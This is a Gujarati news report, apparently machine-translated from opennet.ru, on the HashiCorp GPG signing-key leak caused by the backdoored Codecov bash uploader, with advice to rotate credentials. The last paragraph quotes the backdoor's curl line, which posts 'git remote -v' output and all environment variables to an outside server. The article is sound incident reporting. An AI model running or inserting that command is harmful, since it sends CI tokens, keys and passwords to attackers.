કોડકોવ સ્ક્રિપ્ટમાં દૂષિત કોડની રજૂઆતથી HashiCorp PGP કી સાથે સમાધાન થયું

HashiCorp, જે ઓપન સોર્સ ટૂલ્સ વેગ્રન્ટ, પેકર, નોમેડ અને ટેરાફોર્મ વિકસાવવા માટે જાણીતી છે, તેણે ડિજીટલ સિગ્નેચર બનાવવા માટે ઉપયોગમાં લેવાતી ખાનગી GPG કીના લીકની જાહેરાત કરી જે રીલીઝની ચકાસણી કરે છે. હુમલાખોરો કે જેમણે GPG કીની ઍક્સેસ મેળવી છે તેઓ યોગ્ય ડિજિટલ હસ્તાક્ષર વડે ચકાસણી કરીને HashiCorp ઉત્પાદનોમાં છુપાયેલા ફેરફારો કરી શકે છે. તે જ સમયે, કંપનીએ જણાવ્યું હતું કે ઓડિટ દરમિયાન, આવા ફેરફારો કરવાના પ્રયાસોના કોઈ નિશાન મળ્યા નથી.

હાલમાં, ચેડા થયેલી GPG કી રદ કરવામાં આવી છે અને તેની જગ્યાએ નવી કી દાખલ કરવામાં આવી છે. સમસ્યાએ માત્ર SHA256SUM અને SHA256SUM.sig ફાઈલોનો ઉપયોગ કરીને ચકાસણીને અસર કરી છે, અને Linux DEB અને RPM પેકેજો માટે ડિજિટલ હસ્તાક્ષરોની જનરેશનને અસર કરી નથી જે releases.hashicorp.com દ્વારા પૂરા પાડવામાં આવે છે, તેમજ macOS અને Windows (AuthentiCode) માટે રીલીઝ ચકાસણી પદ્ધતિ .

ઇન્ફ્રાસ્ટ્રક્ચરમાં કોડકોવ બૅશ અપલોડર (કોડકોવ-બૅશ) સ્ક્રિપ્ટના ઉપયોગને કારણે લીક થયું છે, જે સતત એકીકરણ સિસ્ટમ્સમાંથી કવરેજ રિપોર્ટ્સ ડાઉનલોડ કરવા માટે રચાયેલ છે. કોડકોવ કંપની પર હુમલા દરમિયાન, સ્પષ્ટ કરેલ સ્ક્રિપ્ટમાં બેકડોર છુપાયેલું હતું, જેના દ્વારા હુમલાખોરોના સર્વર પર પાસવર્ડ અને એન્ક્રિપ્શન કી મોકલવામાં આવી હતી.

હેક કરવા માટે, હુમલાખોરોએ કોડકોવ ડોકર ઇમેજ બનાવવાની પ્રક્રિયામાં ભૂલનો લાભ લીધો હતો, જેણે તેમને કોડકોવ.io માંથી વિતરિત બેશ અપલોડર સ્ક્રિપ્ટમાં ફેરફાર કરવા માટે જરૂરી GCS (Google ક્લાઉડ સ્ટોરેજ) પર એક્સેસ ડેટા કાઢવાની મંજૂરી આપી હતી. વેબસાઇટ ફેરફારો 31 જાન્યુઆરીના રોજ પાછા કરવામાં આવ્યા હતા, બે મહિના સુધી શોધ્યા ન હતા અને હુમલાખોરોને ગ્રાહક સતત એકીકરણ સિસ્ટમ વાતાવરણમાં સંગ્રહિત માહિતી કાઢવાની મંજૂરી આપી હતી. ઉમેરવામાં આવેલ દૂષિત કોડનો ઉપયોગ કરીને, હુમલાખોરો પરીક્ષણ કરેલ Git રીપોઝીટરી અને તમામ પર્યાવરણ ચલો વિશેની માહિતી મેળવી શકે છે, જેમાં ટોકન્સ, એન્ક્રિપ્શન કીઝ અને પાસવર્ડ્સનો સમાવેશ થાય છે, જેમાં એપ્લિકેશન કોડ, રીપોઝીટરીઝ અને એમેઝોન વેબ સેવાઓ અને GitHub જેવી સેવાઓની ઍક્સેસ ગોઠવવા માટે સતત એકીકરણ સિસ્ટમમાં ટ્રાન્સમિટ કરવામાં આવે છે.

ડાયરેક્ટ કોલ ઉપરાંત, કોડકોવ બૅશ અપલોડર સ્ક્રિપ્ટનો ઉપયોગ અન્ય અપલોડર્સના ભાગ રૂપે કરવામાં આવ્યો હતો, જેમ કે કોડકોવ-એક્શન (ગીથબ), કોડકોવ-સર્કલસી-ઓર્બ અને કોડકોવ-બિટ્રીઝ-સ્ટેપ, જેના વપરાશકર્તાઓ પણ સમસ્યાથી પ્રભાવિત છે. કોડકોવ-બૅશ અને સંબંધિત ઉત્પાદનોના તમામ વપરાશકર્તાઓને તેમના ઇન્ફ્રાસ્ટ્રક્ચરનું ઑડિટ કરવા તેમજ પાસવર્ડ અને એન્ક્રિપ્શન કી બદલવાની ભલામણ કરવામાં આવે છે. તમે લાઇન curl -sm 0.5 -d “$(git remote -v)<<<<<< ENV $(env)” http:// ની હાજરી દ્વારા સ્ક્રિપ્ટમાં બેકડોરની હાજરી ચકાસી શકો છો /upload/v2 || સાચું

સોર્સ: opennet.ru